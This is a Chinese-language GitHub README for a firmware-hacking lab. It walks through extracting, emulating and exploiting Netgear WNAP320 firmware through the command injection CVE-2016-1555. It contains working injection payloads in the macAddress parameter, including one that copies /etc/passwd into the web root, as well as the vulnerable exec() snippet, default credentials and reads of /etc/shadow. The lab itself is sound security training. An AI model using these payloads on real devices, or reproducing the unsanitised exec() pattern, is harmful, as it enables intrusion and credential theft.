Umxirrr/iot-firmware-hacking-lab
GitHub: Umxirrr/iot-firmware-hacking-lab
以 Netgear WNAP320 固件为靶标的 IoT 渗透测试实验环境,完整演示固件提取、模拟、漏洞利用与后渗透全流程。
Stars: 0 | Forks: 0
# IoT 渗透测试实验室 — Netgear WNAP320 固件分析
## 实验室概述
在模拟的 Netgear 固件上进行完整的 IoT 渗透测试工作流 —— 无需物理硬件。涵盖固件提取、静态分析、动态模拟、Web 漏洞利用和后渗透阶段。
## 方法论
### 1. 固件提取与分析
```
# 从 squashfs 固件提取 filesystem
binwalk -Me rootfs.squashfs
# 验证内容
ls -la _rootfs.squashfs.extracted/
cat _rootfs.squashfs.extracted/etc/passwd
```
### 2. 漏洞发现
对 `boardDataWW.php` 的静态分析表明,未经验证的 `macAddress` 参数被直接传递给 `exec()`:
```
// Vulnerable code in boardDataWW.php
$macAddr = $_POST['macAddress'];
exec("/bin/iwconfig $macAddr");
```
无任何过滤 + `exec()` = **盲注型 OS 命令注入 (CWE-78)**。
### 3. 使用 FAT 进行固件模拟
```
cd /home/kali/Desktop/lab
sudo ./fat.py rootfs.squashfs
```
流程:
- 提取固件 → 标签 → 镜像 ID
- 识别架构 (MIPS 24Kc)
- 构建 QEMU 磁盘镜像
- 配置网桥 (tap 接口)
- 启动模拟设备 → Web UI 可在 `192.168.0.100` 访问
### 4. 通过 Burp Suite 进行漏洞利用
**步骤 1 — 登录 Web 界面:**
- URL: `http://192.168.0.100`
- 凭据: `admin` / `password`
**步骤 2 — 拦截发送至 `boardDataWW.php` 的请求:**
```
POST /boardDataWW.php HTTP/1.1
Host: 192.168.0.100
macAddress=112233445566;®info=0&writeData=Submit
```
**步骤 3 — 确认盲注型 RCE (基于时间):**
```
macAddress=112233445566;+ping+-c+15+127.0.0.1+#®info=0&writeData=Submit
```
响应延迟了约 15 秒 —— 命令已执行。
**步骤 4 — 提取 `/etc/passwd`:**
```
macAddress=112233445566;+cp+/etc/passwd+/home/www/p.txt+#®info=0&writeData=Submit
```
```
curl http://192.168.0.100/p.txt
```
### 5. 后渗透阶段
通过 QEMU 控制台访问设备 shell (root 权限):
```
cat /etc/shadow
ps aux
ifconfig brtrunk
```
## 核心发现
| # | 发现 | 严重性 | CVSS |
|---|---------|----------|------|
| 1 | boardDataWW.php 中的 OS 命令注入 | 严重 | 10.0 |
| 2 | 默认 admin 凭据 | 高 | 7.5 |
| 3 | PHP/5.2.3 版本过旧 | 中 | 5.0 |
| 4 | Lighttpd 1.4.18 版本过旧 | 中 | 5.0 |
| 5 | 可访问的 Debug 页面 | 低 | 3.5 |
## 使用的 Payload
有关完整的 payload 列表,请参见 [`payloads/rce-payloads.txt`](payloads/rce-payloads.txt)。
## 使用的工具
| 工具 | 用途 |
|------|---------|
| Binwalk v2.3.4 | 固件提取和文件系统分析 |
| Firmadyne + FAT | 自动化固件模拟 |
| QEMU (system-mode MIPS) | CPU 级别设备模拟 |
| Burp Suite Community | HTTP 拦截和重放 |
| Ghidra | MIPS 二进制文件逆向工程 |
| Nmap | 网络侦察 |
## 截图
| 步骤 | 截图 |
|------|-----------|
| 固件提取 | [`screenshots/01-binwalk-extraction.png`](screenshots/01-binwalk-extraction.png) |
| FAT 模拟运行 | [`screenshots/02-fat-emulation.png`](screenshots/02-fat-emulation.png) |
| Web 界面 + Burp | [`screenshots/03-burp-exploit.png`](screenshots/03-burp-exploit.png) |
## 参考资料
- [CVE-2016-1555 详情](https://nvd.nist.gov/vuln/detail/CVE-2016-1555)
- [OWASP IoT Top 10](https://owasp.org/www-project-internet-of-things/)
- [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit)
- [TryHackMe — IoT 渗透测试简介](https://tryhackme.com/room/iotintro)
## 作者
**Umair** — IoT 安全爱好者
实验室完成时间:2026 年 6 月
标签:CTI, 命令注入, 固件分析, 数据泄露, 物联网安全, 系统模拟, 身份验证强制